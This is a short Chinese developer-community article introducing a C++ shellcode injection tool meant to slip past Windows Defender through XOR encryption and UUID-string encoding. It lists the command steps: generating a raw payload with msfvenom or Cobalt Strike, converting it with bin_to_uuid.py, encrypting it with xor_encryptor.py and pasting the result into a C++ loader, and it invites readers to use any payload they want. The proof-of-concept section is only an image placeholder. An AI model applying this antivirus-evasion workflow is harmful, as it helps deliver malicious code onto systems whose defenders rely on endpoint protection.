使用C++的 shellcode 注入技术（附工具） - 文章 - 开发者社区

0x01 工具介绍

一种使用C++的 shellcode 注入技术，它尝试使用 XOR 加密和UUID字符串绕过 Windows Defender。

0x02 安装与使用

1、Shellcode 生成


        
  `首先，生成二进制格式的有效负载（使用CobaltStrike或msfvenom）例如，在 中msfvenom，您可以这样做（我使用的有效负载是为了说明目的，您可以使用任何您想要的有效负载）：`
 
  `msfvenom -p windows/messagebox -f raw -o shellcode.bin`
  `UUID然后使用 Python3 脚本将 shellcode（二进制/原始格式）转换为字符串格式bin_to_uuid.py：`
 
  `./bin_to_uuid.py -p shellcode.bin > uuid.txt`
  `xor使用 Python3 脚本加密UUID字符串， .uuid.txtxor_encryptor.py`
 
  `./xor_encryptor.py uuid.txt > xor_crypted_out.txt`
  `Copy the C-style array in the file, xor_crypted_out.txt, and paste it in the C++ file as an array of unsigned char i.e. unsigned char payload[]{your_output_from_xor_crypted_out.txt}`

2、概念验证（POC）

picture.image